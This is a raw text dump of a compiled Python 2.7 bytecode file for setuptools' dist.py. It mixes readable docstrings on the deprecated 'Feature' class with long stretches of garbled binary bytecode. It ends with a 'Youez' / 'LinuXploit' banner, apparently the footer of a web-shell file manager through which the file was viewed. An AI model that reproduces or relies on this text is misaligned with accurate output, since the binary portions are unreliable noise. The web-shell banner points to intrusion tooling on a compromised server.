      'optional' -- if true, the feature's inclusion can be controlled from the
         command line, using the '--with-X' or '--without-X' options.  If
         false, the feature's inclusion status is determined automatically,
         based on 'availabile', 'standard', and whether any other feature
         requires it.  The default setting is 'True'.

      'require_features' -- a string or sequence of strings naming features
         that should also be included if this feature is included.  Defaults to
         empty list.  May also contain 'Require' objects that should be
         added/removed from the distribution.

      'remove' -- a string or list of strings naming packages to be removed
         from the distribution if this feature is *not* included.  If the
         feature *is* included, this argument is ignored.  This argument exists
         to support removing features that "crosscut" a distribution, such as
         defining a 'tests' feature that removes all the 'tests' subpackages
         provided by other features.  The default for this argument is an empty
         list.  (Note: the named package(s) or modules must exist in the base
         distribution when the 'setup()' function is initially called.)

      other keywords -- any other keyword arguments are saved, and passed to
         the distribution's 'include()' and 'exclude()' methods when the
         feature is included or excluded, respectively.  So, for example, you
         could pass 'packages=["a","b"]' to cause packages 'a' and 'b' to be
         added or removed from the distribution as appropriate.

    A feature must include at least one 'requires', 'remove', or other
    keyword argument.  Otherwise, it can't affect the distribution in any way.
    Note also that you can subclass 'Feature' to create your own specialized
    feature types that modify the distribution in other ways when included or
    excluded.  See the docstrings for the various methods here for more detail.
    Aside from the methods, the only feature attributes that distributions look
    at are 'description' and 'optional'.
    cCs d}tj|tdd�dS(NsrFeatures are deprecated and will be removed in a future version. See https://github.com/pypa/setuptools/issues/65.t
stackleveli(RRR(R/((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR��sc
Ks
|j�||_||_||_||_t|ttf�rO|f}ng|D]}t|t�rV|^qV|_g|D]}t|t�s�|^q�}	|	r�|	|d<nt|t�r�|f}n||_	||_
|r|r|rtd��ndS(NR�sgFeature %s: must define 'require_features', 'remove', or at least one of 'packages', 'py_modules', etc.(R�R8tstandardt	availableRMR}RVRR�tremoveRtR(
R)R8R�R�RMR�R�RtR�ter((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR��s$
				+(
		cCs|jo|jS(s+Should this feature be included by default?(R�R�(R)((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyRN�scCsT|jst|jd��n|j|j�x|jD]}|j|�q9WdS(sEnsure feature and its requirements are included in distribution

        You may override this in a subclass to perform additional operations on
        the distribution.  Note that this method may be called more than once
        per feature, and so should be idempotent.

        s3 is required, but is not available on this platformN(R�RR8RhRtR�Re(R)RyRG((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR\�s		cCsA|j|j�|jr=x!|jD]}|j|�q#WndS(s2Ensure feature is excluded from distribution

        You may override this in a subclass to perform additional operations on
        the distribution.  This method will be called at most once per
        feature, and only after all included features have been asked to
        include themselves.
        N(RvRtR�Ro(R)RyRs((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR]�s		cCsFx?|jD]4}|j|�s
td|j||f��q
q
WdS(s�Verify that feature makes sense in context of distribution

        This method is called by the distribution just before it parses its
        command line.  It checks to ensure that the 'remove' attribute, if any,
        contains only valid package/module names that are present in the base
        distribution when 'setup()' is called.  You may override it in a
        subclass to perform any other required validation of the feature
        against a target distribution.
        sg%s wants to be able to remove %s, but the distribution doesn't contain any packages or modules under %sN(R�R�RR8(R)RyRs((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyRL�s
(((R�R�R�R�R�R�R,R�RNR\R]RL(((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR�^s7				RcBseZdZRS(srClass for warning about deprecations in dist in
    setuptools. Not ignored by default, unlike DeprecationWarning.(R�R�R�(((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR�s(Jt__all__R�R�R�R;RR�t
distutils.logR�tdistutils.coret
distutils.cmdtdistutils.disttdistutils.utilRtdistutils.debugRtdistutils.fancy_getoptRR�tcollectionsRtemailRtdistutils.errorsRRRR	tdistutils.versionR
tsetuptools.externRRR
tsetuptools.extern.six.movesRRRR|Rtsetuptools.dependsRt
setuptoolsRtsetuptools.monkeyRtsetuptools.configRRqt
__import__RR+RCRpRR~RqR{R�R�R�R�R�R�R�R�R�R�R�tcoreRR�R�R(((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyt<module>sn	

			6	L													���
�

Youez - 2016 - github.com/yon3zu
LinuXploit